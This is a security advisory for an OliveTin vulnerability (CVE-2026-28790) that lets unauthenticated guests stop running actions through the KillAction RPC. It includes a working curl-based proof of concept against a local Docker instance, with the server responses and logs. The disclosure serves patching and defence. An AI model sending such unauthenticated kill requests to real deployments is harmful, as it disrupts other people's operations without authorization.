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Open-source package vulnerability · Go

CVE-2026-28790: OliveTin has Unauthenticated Action Termination via KillAction When Guests Must Login

highCVSS 3.1 7.5GHSA-4fqm-6fmh-82mq

Summary OliveTin allows an unauthenticated guest to terminate running actions through KillAction even when authRequireGuestsToLogin: true is enabled. In the tested release (3000.10.2), guests are correctly blocked from dashboard access, but an still call the KillAction RPC directly and successfully stop a running action.

Published Mar 2, 2026 · Updated Mar 5, 2026

Affected packages

github.com/OliveTin/OliveTin

Ecosystem
Go
Affected
< 0.0.0-20260302002902-d9804182eae4
Fixed in
0.0.0-20260302002902-d9804182eae4
Check
go list -m github.com/OliveTin/OliveTin

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Summary

OliveTin allows an unauthenticated guest to terminate running actions through KillAction even when authRequireGuestsToLogin: true is enabled. In the tested release (3000.10.2), guests are correctly blocked from dashboard access, but an still call the KillAction RPC directly and successfully stop a running action. This is a broken access control issue that causes unauthorized denial of service against legitimate action executions.

Details

The issue is caused by inconsistent authorization enforcement between dashboard access and action-control RPCs.

KillAction() authenticates the caller and applies only the per-action kill ACL check:

  • service/internal/api/api.go:62

However, it does not enforce the guest login requirement. The guest/login gate exists separately in:

  • service/internal/api/api.go:474

That gate is used by dashboard-style methods, but not by KillAction.

In addition, when authRequireGuestsToLogin is enabled, config sanitization disables guest view, exec, and logs permissions, but leaves kill unchanged:

  • service/internal/config/sanitize.go:160

Specifically:

  • DefaultPermissions.View = false
  • DefaultPermissions.Exec = false
  • DefaultPermissions.Logs = false
  • DefaultPermissions.Kill remains unchanged

As a result, in the default configuration path where Kill remains allowed, an unauthenticated guest user can still satisfy IsAllowedKill():

  • service/internal/acl/acl.go:133

I validated this behavior on a clean 3000.10.2 setup:

  • guests were denied access to GetDashboard
  • an authenticated admin user started a long-running action
  • an unauthenticated guest successfully called KillAction
  • the action was terminated

This confirms a real authorization bypass affecting action termination.

PoC

Tested version:

  3000.10.2
  1. Create a minimal config:
  mkdir -p /tmp/olivetin-kill-bypass
  cat > /tmp/olivetin-kill-bypass/config.yaml <<'YAML'
  listenAddressSingleHTTPFrontend: 0.0.0.0:1337
  logLevel: "DEBUG"
  checkForUpdates: false

  authRequireGuestsToLogin: true
  authLocalUsers:
    enabled: true
    users:
      - username: "admin"
        usergroup: "admin"
        password: "$argon2id$v=19$m=65536,t=4,p=2$JLk85PhCL7RPboAlsYO4Lw$bQj6uhKnBpisbGRhe271cEt59S9EqYrHKeCfykypbZ4"

  accessControlLists:
    - name: adminall
      addToEveryAction: true
      matchUsernames: ["admin"]
      permissions:
        view: true
        exec: true
        logs: true
        kill: true

  actions:
    - title: long-running
      id: long-running
      shell: sleep 20
      timeout: 30
  YAML
  1. Start OliveTin 3000.10.2:
  docker rm -f olivetin-kill-bypass 2>/dev/null || true
  docker run -d --name olivetin-kill-bypass \
    -p 1347:1337 \
    -v /tmp/olivetin-kill-bypass:/config:ro \
    ghcr.io/olivetin/olivetin:3000.10.2
  1. Confirm the server is ready:
  curl -i http://127.0.0.1:1347/readyz
  1. Prove guests are blocked from dashboard access:
  curl -i -X POST http://127.0.0.1:1347/api/GetDashboard \
    -H 'Content-Type: application/json' \
    --data '{"title":"default"}'

  Observed response:

  HTTP/1.1 403 Forbidden
  {"code":"permission_denied","message":"guests are not allowed to access the dashboard"}
  1. Log in as admin:
  curl -c /tmp/ot_admin_cookie.txt -i -X POST http://127.0.0.1:1347/api/LocalUserLogin \
    -H 'Content-Type: application/json' \
    --data '{"username":"admin","password":"SecretPass123!"}'
  1. Start a long-running action as admin:
  curl -i -b /tmp/ot_admin_cookie.txt -X POST http://127.0.0.1:1347/api/StartAction \
    -H 'Content-Type: application/json' \
    --data '{"bindingId":"long-running","arguments":[],"uniqueTrackingId":"kill-hunt-1"}'

  Observed response:

  HTTP/1.1 200 OK
  {"executionTrackingId":"kill-hunt-1"}
  1. Kill it as an unauthenticated guest:
  curl -i -X POST http://127.0.0.1:1347/api/KillAction \
    -H 'Content-Type: application/json' \
    --data '{"executionTrackingId":"kill-hunt-1"}'

Observed response:

  HTTP/1.1 200 OK
  {"executionTrackingId":"kill-hunt-1","killed":true,"alreadyCompleted":false,"found":true}
  1. Confirm in container logs:
  docker logs olivetin-kill-bypass 2>&1 | tail -n 120

Observed relevant lines:

  Authenticated API request ... path="/olivetin.api.v1.OliveTinApiService/GetDashboard" ... username="guest"
  Authenticated API request ... path="/olivetin.api.v1.OliveTinApiService/StartAction" ... username="admin"
  Action started actionTitle="long-running"
  Authenticated API request ... path="/olivetin.api.v1.OliveTinApiService/KillAction" ... username="guest"
  Killing execution request by tracking ID: kill-hunt-1
  Action finished actionTitle="long-running" exit="-1"

This proves:

  • guests are denied dashboard access
  • guests can still invoke KillAction
  • the running action is successfully terminated by an unauthenticated user

Impact

This is an unauthenticated broken access control vulnerability resulting in denial of service.

An unauthenticated guest can:

  • terminate active jobs started by legitimate users
  • disrupt long-running administrative or operational workflows
  • interfere with privileged actions without being allowed to log in

Who is impacted:

  • OliveTin deployments with authRequireGuestsToLogin: true
  • multi-user environments where actions may run for meaningful durations
  • operational environments where stopping a running action can interrupt maintenance, deployment, backup, or service-control tasks

This issue does not require valid credentials, only knowledge of a live executionTrackingId. That still makes it a real and exploitable availability issue in environments where execution identifiers can be observed or predicted through adjacent leaks or shared operator knowledge.

Credited to kule500.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

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